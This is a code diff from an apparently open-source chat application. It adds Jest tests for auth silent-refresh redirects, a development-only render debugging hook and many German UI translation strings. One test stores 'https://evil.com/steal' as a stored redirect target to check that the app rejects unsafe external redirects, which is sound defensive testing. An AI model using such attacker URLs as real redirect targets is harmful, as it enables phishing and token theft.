+ it('does not re-trigger silentRefresh after successful redirect', () => {
+ jest.useFakeTimers();
+ sessionStorage.setItem(SESSION_KEY, '/c/abc?endpoint=bedrock');
+
+ renderProviderLive();
+
+ expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
+ const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+ unknown,
+ { onSuccess: (data: unknown) => void },
+ ];
+ mockRefreshMutate.mockClear();
+
+ act(() => {
+ refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+ });
+ act(() => {
+ jest.advanceTimersByTime(100);
+ });
+
+ expect(mockNavigate).toHaveBeenCalledTimes(1);
+ expect(mockNavigate).toHaveBeenCalledWith('/c/abc?endpoint=bedrock', { replace: true });
+ expect(mockRefreshMutate).not.toHaveBeenCalled();
+ jest.useRealTimers();
+ });
+
+ it('falls back to current URL for unsafe stored redirect', () => {
+ jest.useFakeTimers();
+ window.history.replaceState({}, '', '/c/new');
+ sessionStorage.setItem(SESSION_KEY, 'https://evil.com/steal');
+
+ renderProviderLive();
+
+ expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
+ const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+ unknown,
+ { onSuccess: (data: unknown) => void },
+ ];
+
+ act(() => {
+ refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+ });
+ act(() => {
+ jest.advanceTimersByTime(100);
+ });
+
+ expect(mockNavigate).toHaveBeenCalledWith('/c/new', { replace: true });
+ expect(mockNavigate).not.toHaveBeenCalledWith('https://evil.com/steal', expect.anything());
+ expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+ jest.useRealTimers();
+ });
+});
+
+describe('AuthContextProvider — silentRefresh subdirectory deployment', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ sessionStorage.clear();
+ mockApiBaseUrl.mockReturnValue('/chat');
+ });
+
+ afterEach(() => {
+ mockApiBaseUrl.mockReturnValue('');
+ sessionStorage.clear();
+ window.history.replaceState({}, '', '/');
+ });
+
+ it('strips base path from window.location.pathname before navigating (prevents /chat/chat doubling)', () => {
+ jest.useFakeTimers();
+ window.history.replaceState({}, '', '/chat/c/abc123?model=gpt-4');
+
+ renderProviderLive();
+
+ expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
+ const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+ unknown,
+ { onSuccess: (data: unknown) => void },
+ ];
+
+ act(() => {
+ refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+ });
+ act(() => {
+ jest.advanceTimersByTime(100);
+ });
+
+ expect(mockNavigate).toHaveBeenCalledWith('/c/abc123?model=gpt-4', { replace: true });
+ expect(mockNavigate).not.toHaveBeenCalledWith(
+ expect.stringContaining('/chat/c/'),
+ expect.anything(),
+ );
+ jest.useRealTimers();
+ });
+
+ it('falls back to root when window.location.pathname equals the base path', () => {
+ jest.useFakeTimers();
+ window.history.replaceState({}, '', '/chat');
+
+ renderProviderLive();
+
+ const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+ unknown,
+ { onSuccess: (data: unknown) => void },
+ ];
+
+ act(() => {
+ refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+ });
+ act(() => {
+ jest.advanceTimersByTime(100);
+ });
+
+ expect(mockNavigate).toHaveBeenCalledWith('/', { replace: true });
+ jest.useRealTimers();
+ });
+});
+
+describe('AuthContextProvider — logout error handling', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ window.history.replaceState({}, '', '/c/some-chat');
+ });
+
+ afterEach(() => {
+ window.history.replaceState({}, '', '/');
+ });
+
+ it('clears auth state on logout error without external redirect', () => {
+ jest.useFakeTimers();
+ const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
+ const { getByTestId } = renderProvider();
+
+ act(() => {
+ mockCapturedLogoutOptions.onError(new Error('Logout failed'));
+ });
+ act(() => {
+ jest.advanceTimersByTime(100);
+ });
+
+ expect(replaceSpy).not.toHaveBeenCalled();
+ expect(getByTestId('consumer').getAttribute('data-authenticated')).toBe('false');
+ jest.useRealTimers();
+ });
+});
diff --git a/client/src/hooks/useLocalize.ts b/client/src/hooks/useLocalize.ts
index 6b574d25b1..f87ee5932b 100644
--- a/client/src/hooks/useLocalize.ts
+++ b/client/src/hooks/useLocalize.ts
@@ -1,4 +1,4 @@
-import { useEffect } from 'react';
+import { useCallback, useEffect } from 'react';
import { TOptions } from 'i18next';
import { useRecoilValue } from 'recoil';
import { useTranslation } from 'react-i18next';
@@ -17,5 +17,8 @@ export default function useLocalize() {
}
}, [lang, i18n]);
- return (phraseKey: TranslationKeys, options?: TOptions) => t(phraseKey, options);
+ return useCallback(
+ (phraseKey: TranslationKeys, options?: TOptions) => t(phraseKey, options),
+ [t],
+ );
}
diff --git a/client/src/hooks/useNewConvo.ts b/client/src/hooks/useNewConvo.ts
index 7fa499f40d..f2879cb092 100644
--- a/client/src/hooks/useNewConvo.ts
+++ b/client/src/hooks/useNewConvo.ts
@@ -48,7 +48,7 @@ const useNewConvo = (index = 0) => {
const applyModelSpecEffects = useApplyModelSpecEffects();
const clearAllConversations = store.useClearConvoState();
const defaultPreset = useRecoilValue(store.defaultPreset);
- const { setConversation } = store.useCreateConversationAtom(index);
+ const { setConversation } = store.useSetConversationAtom(index);
const [files, setFiles] = useRecoilState(store.filesByIndex(index));
const saveBadgesState = useRecoilValue(store.saveBadgesState);
const clearAllLatestMessages = store.useClearLatestMessages(`useNewConvo ${index}`);
diff --git a/client/src/hooks/useRenderChangeLog.ts b/client/src/hooks/useRenderChangeLog.ts
new file mode 100644
index 0000000000..e20f04be05
--- /dev/null
+++ b/client/src/hooks/useRenderChangeLog.ts
@@ -0,0 +1,67 @@
+import { useEffect, useRef } from 'react';
+
+type DebugWindow = Window & {
+ __LC_RENDER_DEBUG__?: boolean;
+};
+
+/**
+ * Development-only hook that logs which tracked values changed between renders.
+ *
+ * Enable by setting `window.__LC_RENDER_DEBUG__ = true` in the browser console.
+ * Automatically no-ops in production builds.
+ *
+ * @example
+ * ```ts
+ * useRenderChangeLog('MessageRender', { messageId, isLast, depth });
+ * ```
+ */
+export default function useRenderChangeLog(
+ name: string,
+ values: Record,
+) {
+ const previousValuesRef = useRef | null>(null);
+
+ useEffect(() => {
+ if (process.env.NODE_ENV === 'production') {
+ return;
+ }
+
+ if (typeof window === 'undefined' || !(window as DebugWindow).__LC_RENDER_DEBUG__) {
+ previousValuesRef.current = values;
+ return;
+ }
+
+ if (previousValuesRef.current == null) {
+ console.log(`[render-debug] ${name}: initial render`, values);
+ previousValuesRef.current = values;
+ return;
+ }
+
+ const previousValues = previousValuesRef.current;
+ const changedEntries = Object.entries(values).filter(
+ ([key, value]) => !Object.is(previousValues[key], value),
+ );
+
+ if (changedEntries.length > 0) {
+ console.log(
+ `[render-debug] ${name}`,
+ Object.fromEntries(
+ changedEntries.map(([key, value]) => [
+ key,
+ {
+ previous: previousValues[key],
+ next: value,
+ },
+ ]),
+ ),
+ );
+ } else {
+ console.log(`[render-debug] ${name}: parent-driven render`);
+ }
+
+ previousValuesRef.current = values;
+ });
+}
diff --git a/client/src/locales/de/translation.json b/client/src/locales/de/translation.json
index aca7f8ff2a..71f0c453a6 100644
--- a/client/src/locales/de/translation.json
+++ b/client/src/locales/de/translation.json
@@ -3,6 +3,7 @@
"chat_direction_right_to_left": "Rechts nach Links",
"com_a11y_ai_composing": "Die KI erstellt noch ihre Antwort.\n",
"com_a11y_end": "Die KI hat die Antwort fertiggestellt.",
+ "com_a11y_selected": "ausgewählt",
"com_a11y_start": "Die KI hat mit ihrer Antwort begonnen. ",
"com_agents_agent_card_label": "{{name}} Agent. {{description}}",
"com_agents_all": "Alle Agenten",
@@ -223,10 +224,11 @@
"com_endpoint_agent": "Agent",
"com_endpoint_agent_placeholder": "Bitte wähle einen Agenten aus",
"com_endpoint_ai": "KI",
+ "com_endpoint_anthropic_effort": "Steuert, wie viel Rechenaufwand Claude betreibt. Ein geringerer Aufwand spart Token und verringert die Latenz; ein höherer Aufwand führt zu gründlicheren Antworten. ‚Max‘ ermöglicht das tiefste Reasoning (nur Opus 4.6).",
"com_endpoint_anthropic_maxoutputtokens": "Maximale Anzahl von Token, die in der Antwort erzeugt werden können. Gib einen niedrigeren Wert für kürzere Antworten und einen höheren Wert für längere Antworten an. Hinweis: Die Modelle können auch vor Erreichen dieses Maximums stoppen.",
"com_endpoint_anthropic_prompt_cache": "Prompt-Caching ermöglicht die Wiederverwendung von umfangreichen Kontexten oder Anweisungen über mehrere API-Aufrufe hinweg, wodurch Kosten und Latenzzeiten reduziert werden",
"com_endpoint_anthropic_temp": "Reicht von 0 bis 1. Verwende Temperaturen näher an 0 für analytische / Multiple-Choice-Aufgaben und näher an 1 für kreative und generative Aufgaben. Wir empfehlen, entweder dies oder Top P zu ändern, aber nicht beides.",
- "com_endpoint_anthropic_thinking": "Aktiviert internes logisches Denken für unterstützte Claude-Modelle (3.7 Sonnet). Hinweis: Erfordert, dass \"Denkbudget\" festgelegt und niedriger als \"Max. Ausgabe-Token\" ist",
+ "com_endpoint_anthropic_thinking": "Aktiviert das interne Reasoning für unterstützte Claude-Modelle. Bei neueren Modellen (Opus 4.6+) wird adaptives Denken genutzt, das über den Parameter „Aufwand“ gesteuert wird. Bei älteren Modellen muss ein „Thinking Budget“ festgelegt werden, das unter den „Max Output Tokens“ liegt.",
"com_endpoint_anthropic_thinking_budget": "Bestimmt die maximale Anzahl an Token, die Claude für seinen internen Denkprozess verwenden darf. Ein höheres Budget kann die Antwortqualität verbessern, indem es eine gründlichere Analyse bei komplexen Problemen ermöglicht. Claude nutzt jedoch möglicherweise nicht das gesamte zugewiesene Budget, insbesondere bei Werten über 32.000. Diese Einstellung muss niedriger sein als \"Max. Ausgabe-Token\".",
"com_endpoint_anthropic_topk": "Top-k ändert, wie das Modell Token für die Ausgabe auswählt. Ein Top-k von 1 bedeutet, dass das ausgewählte Token das wahrscheinlichste unter allen Token im Vokabular des Modells ist (auch \"Greedy Decoding\" genannt), während ein Top-k von 3 bedeutet, dass das nächste Token aus den 3 wahrscheinlichsten Token ausgewählt wird (unter Verwendung der Temperatur).",
"com_endpoint_anthropic_topp": "Top-p ändert, wie das Modell Token für die Ausgabe auswählt. Token werden von den wahrscheinlichsten K (siehe topK-Parameter) bis zu den am wenigsten wahrscheinlichen ausgewählt, bis die Summe ihrer Wahrscheinlichkeiten dem Top-p-Wert entspricht.",
@@ -264,6 +266,7 @@
"com_endpoint_default_with_num": "Standard: {{0}}",
"com_endpoint_disable_streaming": "Deaktiviere das Streaming von Antworten und erhalte die vollständige Antwort auf einmal. Nützlich für Modelle wie o3, die eine Organisationsverifizierung für Streaming erfordern",
"com_endpoint_disable_streaming_label": "Streaming deaktivieren",
+ "com_endpoint_effort": "Aufwand",
"com_endpoint_examples": " Voreinstellungen",
"com_endpoint_export": "Exportieren",
"com_endpoint_export_share": "Exportieren/Teilen",
@@ -346,7 +349,7 @@
"com_endpoint_top_p": "Top P",
"com_endpoint_use_active_assistant": "Aktiven Assistenten verwenden",
"com_endpoint_use_responses_api": "Responses-API nutzen",
- "com_endpoint_use_search_grounding": "Antworten mit Google-Suche anreichern",
+ "com_endpoint_use_search_grounding": "Fundierung mit der Google Suche",
"com_endpoint_verbosity": "Ausführlichkeit",
"com_error_endpoint_models_not_loaded": "Modelle für {{0}} konnten nicht geladen werden. Bitte lade die Seite neu und versuch es erneut.",
"com_error_expired_user_key": "Der angegebene API-Key für {{0}} ist am {{1}} abgelaufen. Bitte gebe einen neuen API-Key ein und versuche es erneut.",
@@ -508,16 +511,20 @@
"com_nav_lang_german": "Deutsch",
"com_nav_lang_hebrew": "עברית",
"com_nav_lang_hungarian": "Ungarisch",
+ "com_nav_lang_icelandic": "Isländisch",
"com_nav_lang_indonesia": "Indonesia",
"com_nav_lang_italian": "Italiano",
"com_nav_lang_japanese": "日本語",
"com_nav_lang_korean": "한국어",
"com_nav_lang_latvian": "Lettisch",
+ "com_nav_lang_lithuanian": "Litauisch",
"com_nav_lang_norwegian_bokmal": "Norwegisch Bokmål",
+ "com_nav_lang_norwegian_nynorsk": "Norwegisch (Nynorsk)",
"com_nav_lang_persian": "Persisch",
"com_nav_lang_polish": "Polski",
"com_nav_lang_portuguese": "Português",
"com_nav_lang_russian": "Русский",
+ "com_nav_lang_slovak": "Slowakisch",
"com_nav_lang_slovenian": "Slowenisch",
"com_nav_lang_spanish": "Español",
"com_nav_lang_swedish": "Svenska",
@@ -533,9 +540,18 @@
"com_nav_log_out": "Abmelden",
"com_nav_long_audio_warning": "Längere Texte benötigen mehr Zeit zur Verarbeitung.",
"com_nav_maximize_chat_space": "Chat-Bereich maximieren",
+ "com_nav_mcp_access_revoked": "Zugriff auf MCP-Server erfolgreich widerrufen.",
"com_nav_mcp_configure_server": "{{0}} konfigurieren",
+ "com_nav_mcp_connect": "Verbinden",
+ "com_nav_mcp_connect_server": "{{0}} verbinden",
+ "com_nav_mcp_reconnect": "Neu verbinden",
"com_nav_mcp_status_connected": "Verbunden",
"com_nav_mcp_status_connecting": "{{0}} - Verbinde...",
+ "com_nav_mcp_status_disconnected": "Getrennt",
+ "com_nav_mcp_status_error": "Fehler",
+ "com_nav_mcp_status_initializing": "Initialisieren",
+ "com_nav_mcp_status_needs_auth": "Auth benötigt",
+ "com_nav_mcp_status_unknown": "Unbekannt",
"com_nav_mcp_vars_update_error": "Fehler beim Aktualisieren der benutzerdefinierten MCP-Variablen.",
"com_nav_mcp_vars_updated": "Die MCP-Benutzervariablen wurden erfolgreich aktualisiert.",
"com_nav_modular_chat": "Ermöglicht das Wechseln der Endpunkte mitten im Gespräch",
@@ -626,7 +642,9 @@
"com_ui_active": "Aktiv",
"com_ui_add": "Hinzufügen",
"com_ui_add_code_interpreter_api_key": "Code Interpreter API-Schlüssel hinzufügen",
+ "com_ui_add_first_bookmark": "Klicke auf einen Chat, um ihn hinzuzufügen",
"com_ui_add_first_mcp_server": "Erstelle deinen ersten MCP-Server, um loszulegen",
+ "com_ui_add_first_prompt": "Erstelle deinen ersten Prompt, um zu starten",
"com_ui_add_mcp": "MCP hinzufügen",
"com_ui_add_mcp_server": "MCP Server hinzufügen",
"com_ui_add_model_preset": "Ein KI-Modell oder eine Voreinstellung für eine zusätzliche Antwort hinzufügen",
@@ -642,6 +660,8 @@
"com_ui_advanced": "Erweitert",
"com_ui_advanced_settings": "Erweiterte Einstellungen",
"com_ui_agent": "Agent",
+ "com_ui_agent_api_keys": "Agenten-API-Schlüssel",
+ "com_ui_agent_api_keys_description": "Erstelle API-Schlüssel, um per API remote auf Agenten zuzugreifen.",
"com_ui_agent_category_aftersales": "Kundendienst",
"com_ui_agent_category_finance": "Finanzen",
"com_ui_agent_category_general": "Allgemein",
@@ -689,12 +709,23 @@
"com_ui_agents": "Agenten",
"com_ui_agents_allow_create": "Erlaube Agenten zu erstellen",
"com_ui_agents_allow_share": "Teilen von Agenten erlauben",
+ "com_ui_agents_allow_share_public": "Öffentliches Teilen von Agenten erlauben",
"com_ui_agents_allow_use": "Verwendung von Agenten erlauben",
"com_ui_all": "alle",
"com_ui_all_proper": "Alle",
"com_ui_analyzing": "Analyse läuft",
"com_ui_analyzing_finished": "Analyse abgeschlossen",
"com_ui_api_key": "API-Schlüssel",
+ "com_ui_api_key_copied": "API-Schlüssel in die Zwischenablage kopiert",
+ "com_ui_api_key_create_error": "Fehler beim Erstellen des API-Schlüssels",
+ "com_ui_api_key_created": "API-Schlüssel erfolgreich erstellt",
+ "com_ui_api_key_delete_error": "Fehler beim Löschen des API-Schlüssels",
+ "com_ui_api_key_deleted": "API-Schlüssel erfolgreich gelöscht",
+ "com_ui_api_key_name": "Schlüsselname",
+ "com_ui_api_key_name_placeholder": "Mein API-Schlüssel",
+ "com_ui_api_key_name_required": "API-Schlüsselname ist erforderlich",
+ "com_ui_api_key_warning": "Kopiere deinen API-Schlüssel jetzt. Du wirst ihn später nicht mehr sehen können!",
+ "com_ui_api_keys_load_error": "API-Schlüssel konnten nicht geladen werden",
"com_ui_archive": "Archivieren",
"com_ui_archive_delete_error": "Archivierter Chat konnte nicht gelöscht werden.",
"com_ui_archive_error": "Konversation konnte nicht archiviert werden",
@@ -745,6 +776,7 @@
"com_ui_bookmarks": "Lesezeichen",
"com_ui_bookmarks_add": "Lesezeichen hinzufügen",
"com_ui_bookmarks_add_to_conversation": "Zur aktuellen Konversation hinzufügen",
+ "com_ui_bookmarks_count_selected": "Lesezeichen, {{count}} ausgewählt",
"com_ui_bookmarks_create_error": "Beim Erstellen des Lesezeichens ist ein Fehler aufgetreten",
"com_ui_bookmarks_create_exists": "Dieses Lesezeichen existiert bereits",
"com_ui_bookmarks_create_success": "Lesezeichen erfolgreich erstellt",
@@ -759,6 +791,9 @@
"com_ui_bookmarks_title": "Titel",
"com_ui_bookmarks_update_error": "Beim Aktualisieren des Lesezeichens ist ein Fehler aufgetreten",
"com_ui_bookmarks_update_success": "Lesezeichen erfolgreich aktualisiert",
+ "com_ui_branch_created": "Abzweigung erfolgreich erstellt",
+ "com_ui_branch_error": "Erstellen der Abzweigung fehlgeschlagen",
+ "com_ui_branch_message": "Abzweigung aus dieser Antwort erstellen",
"com_ui_by_author": "von {{0}}",
"com_ui_callback_url": "Callback-URL",
"com_ui_cancel": "Abbrechen",
@@ -775,6 +810,7 @@
"com_ui_clear_presets": "Voreinstellungen löschen",
"com_ui_clear_search": "Suche löschen",
"com_ui_click_to_close": "Zum Schließen klicken",
+ "com_ui_click_to_view_var": "Klicken, um {{0}} anzusehen",
"com_ui_client_id": "Client-ID",
"com_ui_client_secret": "Client Secret",
"com_ui_close": "Schließen",
@@ -785,10 +821,12 @@
"com_ui_code": "Code",
"com_ui_collapse": "Einklappen",
"com_ui_collapse_chat": "Chat einklappen",
+ "com_ui_collapse_thoughts": "Gedanken einklappen",
"com_ui_command_placeholder": "Optional: Gib einen speziellen Befehl ein, sonst wird der Name des Prompts verwendet.",
"com_ui_command_usage_placeholder": "Wähle einen Prompt nach Befehl oder Name aus",
"com_ui_complete_setup": "Einrichtung abschließen",
"com_ui_concise": "Prägnant",
+ "com_ui_configure": "Konfigurieren",
"com_ui_configure_mcp_variables_for": "Konfiguriere Variablen für {{0}}",
"com_ui_confirm": "Bestätigen",
"com_ui_confirm_action": "Aktion bestätigen",
@@ -802,7 +840,9 @@
"com_ui_continue_oauth": "Mit OAuth fortfahren",
"com_ui_control_bar": "Kontrollleiste",
"com_ui_controls": "Steuerung",
+ "com_ui_conversation": "Konversation",
"com_ui_conversation_label": "{{title}} Konversation",
+ "com_ui_conversations": "Konversationen",
"com_ui_convo_archived": "Konversation archiviert",
"com_ui_convo_delete_error": "Unterhaltung konnte nicht gelöscht werden.",
"com_ui_convo_delete_success": "Konversation erfolgreich gelöscht",
@@ -816,12 +856,16 @@
"com_ui_copy_to_clipboard": "In die Zwischenablage kopieren",
"com_ui_copy_url_to_clipboard": "URL in die Zwischenablage kopieren",
"com_ui_create": "Erstellen",
+ "com_ui_create_api_key": "API-Schlüssel erstellen",
"com_ui_create_assistant": "Assistent erstellen",
"com_ui_create_link": "Link erstellen",
+ "com_ui_create_mcp_server": "MCP-Server erstellen",
"com_ui_create_memory": "Erinnerung erstellen",
"com_ui_create_new_agent": "Neuen Agenten erstellen",
"com_ui_create_prompt": "Prompt erstellen",
"com_ui_create_prompt_page": "Neue Prompt-Konfigurationsseite",
+ "com_ui_created": "Erstellt",
+ "com_ui_creating": "Wird erstellt...",
"com_ui_creating_image": "Bild wird erstellt. Kann einen Moment dauern",
"com_ui_current": "Aktuell",
"com_ui_currently_production": "Aktuell im Produktivbetrieb",
@@ -861,6 +905,9 @@
"com_ui_delete_confirm_prompt_version_var": "Dies wird die ausgewählte Version für \"{{0}}\" löschen. Wenn keine anderen Versionen existieren, wird der Prompt gelöscht.",
"com_ui_delete_confirm_strong": "Dies wird {{title}} löschen",
"com_ui_delete_conversation": "Chat löschen?",
+ "com_ui_delete_conversation_tooltip": "Unterhaltung löschen",
+ "com_ui_delete_mcp_server": "MCP-Server löschen?",
+ "com_ui_delete_mcp_server_name": "MCP-Server {{0}} löschen",
"com_ui_delete_memory": "Erinnerung löschen",
"com_ui_delete_not_allowed": "Löschvorgang ist nicht erlaubt",
"com_ui_delete_preset": "Voreinstellung löschen?",
@@ -873,6 +920,7 @@
"com_ui_delete_tool_confirm": "Bist du sicher, dass du dieses Werkzeug löschen möchtest?",
"com_ui_delete_tool_save_reminder": "Tool entfernt. Speichere den Agenten, um die Änderungen zu übernehmen.",
"com_ui_deleted": "Gelöscht",
+ "com_ui_deleting": "Wird gelöscht...",
"com_ui_deleting_file": "Lösche Datei...",
"com_ui_descending": "Absteigend",
"com_ui_description": "Beschreibung",
@@ -909,7 +957,9 @@
"com_ui_endpoint_menu": "LLM-Endpunkt-Menü",
"com_ui_enter": "Eingabe",
"com_ui_enter_api_key": "API-Schlüssel eingeben",
+ "com_ui_enter_description": "Beschreibung eingeben (optional)",
"com_ui_enter_key": "Schlüssel eingeben",
+ "com_ui_enter_name": "Namen eingeben",
"com_ui_enter_openapi_schema": "Gib hier dein OpenAPI-Schema ein",
"com_ui_enter_value": "Wert eingeben",
"com_ui_error": "Fehler",
@@ -923,6 +973,7 @@
"com_ui_examples": "Beispiele",
"com_ui_expand": "Ausklappen",
"com_ui_expand_chat": "Chat erweitern",
+ "com_ui_expand_thoughts": "Gedanken ausklappen",
"com_ui_export_convo_modal": "Konversation exportieren",
"com_ui_feedback_more": "Mehr ...",
"com_ui_feedback_more_information": "Zusätzliches Feedback",
@@ -931,7 +982,7 @@
"com_ui_feedback_positive": "Prima, sehr gut",
"com_ui_feedback_tag_accurate_reliable": "Akkurat und Zuverlässig",
"com_ui_feedback_tag_attention_to_detail": "Liebe zum Detail",
- "com_ui_feedback_tag_bad_style": "Clear and Well-Written",
+ "com_ui_feedback_tag_bad_style": "Schlechter Stil oder Tonfall",
"com_ui_feedback_tag_clear_well_written": "Klar und gut geschrieben",
"com_ui_feedback_tag_creative_solution": "Kreative Lösung",
"com_ui_feedback_tag_inaccurate": "Ungenaue oder falsche Antwort",
@@ -993,6 +1044,8 @@
"com_ui_handoff_instructions": "Übergabebeschreibung",
"com_ui_happy_birthday": "Es ist mein 1. Geburtstag!",
"com_ui_header_format": "Header-Format",
+ "com_ui_hide": "Verstecken",
+ "com_ui_hide_code": "Code verbergen",
"com_ui_hide_image_details": "Details zum Bild ausblenden",
"com_ui_hide_password": "Passwort verbergen",
"com_ui_hide_qr": "QR-Code ausblenden",
@@ -1017,6 +1070,7 @@
"com_ui_instructions": "Anweisungen",
"com_ui_key": "Schlüssel",
"com_ui_key_required": "API-Schlüssel ist erforderlich",
+ "com_ui_last_used": "Zuletzt verwendet",
"com_ui_late_night": "Schöne späte Nacht",
"com_ui_latest_footer": "Alle KIs für alle.",
"com_ui_latest_production_version": "Neueste Produktiv-Version",
@@ -1035,20 +1089,30 @@
"com_ui_manage": "Verwalten",
"com_ui_marketplace": "Marktplatz",
"com_ui_marketplace_allow_use": "Nutzung des Marktplatzes erlauben",
+ "com_ui_max": "Max",
"com_ui_max_favorites_reached": "Maximale Anzahl angepinnter Elemente erreicht ({{0}}). Löse ein Element, um weitere hinzuzufügen.",
"com_ui_max_file_size": "PNG, JPG oder JPEG (max. {{0}})",
"com_ui_max_tags": "Die maximale Anzahl ist {{0}}, es werden die neuesten Werte verwendet.",
"com_ui_mcp_authenticated_success": "MCP-Server „{{0}}“ erfolgreich authentifiziert.",
+ "com_ui_mcp_click_to_defer": "Klicken zum Aufschieben – Tool ist über die Suche findbar, wird aber erst bei Bedarf geladen",
+ "com_ui_mcp_click_to_programmatic": "Programmatischen Aufruf aktivieren – Tool kann nur über Code-Ausführung gestartet werden",
"com_ui_mcp_configure_server": "Konfiguriere {{0}}",
"com_ui_mcp_configure_server_description": "Konfiguriere benutzerdefinierte Variablen für {{0}}",
+ "com_ui_mcp_defer": "Aufschieben",
+ "com_ui_mcp_defer_all": "Alle Tools aufschieben",
+ "com_ui_mcp_defer_loading": "Laden aufschieben",
"com_ui_mcp_dialog_title": "Variablen konfigurieren für {{serverName}}. Server-Status: {{status}}",
"com_ui_mcp_domain_not_allowed": "Die MCP-Server-Domain befindet sich nicht in der Liste der erlaubten Domains. Bitte kontaktiere deinen Administrator.",
"com_ui_mcp_enter_var": "Geben Sie einen Wert für {{0}} ein",
"com_ui_mcp_init_failed": "Initialisierung des MCP-Servers fehlgeschlagen.",
"com_ui_mcp_initialize": "Initialisieren",
"com_ui_mcp_initialized_success": "MCP-Server „{{0}}“ erfolgreich initialisiert.",
+ "com_ui_mcp_invalid_url": "Bitte gib eine gültige URL ein",
+ "com_ui_mcp_no_description": "Keine Beschreibung verfügbar",
"com_ui_mcp_oauth_cancelled": "OAuth-Anmeldung für {{0}} abgebrochen.",
"com_ui_mcp_oauth_timeout": "Zeitüberschreitung bei der OAuth-Anmeldung für {{0}}.",
+ "com_ui_mcp_programmatic": "Programmatisch",
+ "com_ui_mcp_programmatic_all": "Alle als programmatisch markieren",
"com_ui_mcp_server": "MCP-Server",
"com_ui_mcp_server_connection_failed": "Verbindungsversuch zum bereitgestellten MCP-Server fehlgeschlagen. Bitte stelle sicher, dass die URL, der Servertyp und alle Authentifizierungskonfigurationen korrekt sind, und versuche es erneut. Stelle außerdem sicher, dass die URL erreichbar ist.",
"com_ui_mcp_server_created": "MCP-Server erfolgreich erstellt",
@@ -1061,13 +1125,20 @@
"com_ui_mcp_server_role_viewer": "MCP-Server-Betrachter",
"com_ui_mcp_server_role_viewer_desc": "Kann MCP-Server ansehen und verwenden",
"com_ui_mcp_server_updated": "MCP-Server erfolgreich aktualisiert",
+ "com_ui_mcp_server_url_placeholder": "https://mcp.beispiel.com",
"com_ui_mcp_servers": "MCP Server",
"com_ui_mcp_servers_allow_create": "Benutzern das Erstellen von MCP-Servern erlauben",
"com_ui_mcp_servers_allow_share": "Benutzern das Teilen von MCP-Servern erlauben",
+ "com_ui_mcp_servers_allow_share_public": "Nutzern das öffentliche Teilen von MCP-Servern erlauben",
"com_ui_mcp_servers_allow_use": "Benutzern die Verwendung von MCP-Servern erlauben",
"com_ui_mcp_title_invalid": "Titel darf nur Buchstaben, Zahlen und Leerzeichen enthalten",
+ "com_ui_mcp_tool_options": "Tool-Optionen",
+ "com_ui_mcp_transport": "Transport",
"com_ui_mcp_type_sse": "SSE",
"com_ui_mcp_type_streamable_http": "Streamable HTTPS",
+ "com_ui_mcp_undefer": "Aufschub aufheben",
+ "com_ui_mcp_undefer_all": "Aufschub für alle Tools aufheben",
+ "com_ui_mcp_unprogrammatic_all": "Markierung als „programmatisch“ für alle entfernen",
"com_ui_mcp_update_var": "{{0}} aktualisieren",
"com_ui_mcp_url": "MCP-Server-URL",
"com_ui_medium": "Mittel",
@@ -1085,12 +1156,16 @@
"com_ui_memory_deleted_items": "Gelöschte Erinnerungen",
"com_ui_memory_error": "Fehler bei den Erinnerungen",
"com_ui_memory_key_exists": "Eine Erinnerung mit diesem Schlüssel existiert bereits. Bitte verwende einen anderen Schlüssel.",
+ "com_ui_memory_key_hint": "Nur Kleinbuchstaben und Unterstriche verwenden",
"com_ui_memory_key_validation": "Der Erinnerungsschlüssel darf nur Kleinbuchstaben und Unterstriche enthalten.",
"com_ui_memory_storage_full": "Speicherplatz für Erinnerungen voll",
"com_ui_memory_updated": "Erinnerung aktualisiert",
"com_ui_memory_updated_items": "Aktualisierte Erinnerungen",
"com_ui_memory_would_exceed": "Speichern nicht möglich - würde Limit um {{tokens}} Tokens überschreiten. Löschen Sie vorhandene Erinnerungen, um Platz zu schaffen.",
"com_ui_mention": "Erwähne einen Endpunkt, Assistenten oder eine Voreinstellung, um schnell dorthin zu wechseln",
+ "com_ui_mermaid": "Mermaid",
+ "com_ui_mermaid_failed": "Diagramm konnte nicht gerendert werden:",
+ "com_ui_mermaid_source": "Quellcode:",
"com_ui_message_input": "Nachrichteneingabe",
"com_ui_microphone_unavailable": "Mikrofon ist nicht verfügbar",
"com_ui_min_tags": "Es können nicht mehr Werte entfernt werden, mindestens {{0}} sind erforderlich.",
@@ -1098,6 +1173,8 @@
"com_ui_misc": "Verschiedenes",
"com_ui_model": "KI-Modell",
"com_ui_model_parameters": "Modell-Parameter",
+ "com_ui_model_parameters_reset": "Modellparameter wurden zurückgesetzt.",
+ "com_ui_model_selected": "{{0}} ausgewählt",
"com_ui_more_info": "Mehr Infos",
"com_ui_my_prompts": "Meine Prompts",
"com_ui_name": "Name",
@@ -1107,7 +1184,11 @@
"com_ui_new_conversation_title": "Neuer Titel des Chats",
"com_ui_next": "Weiter",
"com_ui_no": "Nein",
+ "com_ui_no_api_keys": "Noch keine API-Schlüssel vorhanden. Erstelle einen, um loszulegen.",
+ "com_ui_no_auth": "Keine Auth",
"com_ui_no_bookmarks": "Du hast noch keine Lesezeichen. Klicke auf einen Chat und füge ein neues hinzu",
+ "com_ui_no_bookmarks_match": "Keine Lesezeichen entsprechen deiner Suche",
+ "com_ui_no_bookmarks_title": "Noch keine Lesezeichen",
"com_ui_no_categories": "Keine Kategorien verfügbar",
"com_ui_no_category": "Keine Kategorie",
"com_ui_no_changes": "Es wurden keine Änderungen vorgenommen",
@@ -1115,7 +1196,10 @@
"com_ui_no_mcp_servers": "Noch keine MCP-Server",
"com_ui_no_mcp_servers_match": "Keine MCP-Server entsprechen deinem Filter",
"com_ui_no_memories": "Keine Erinnerungen. Erstelle sie manuell oder fordere die KI auf, sich etwas zu merken.\n",
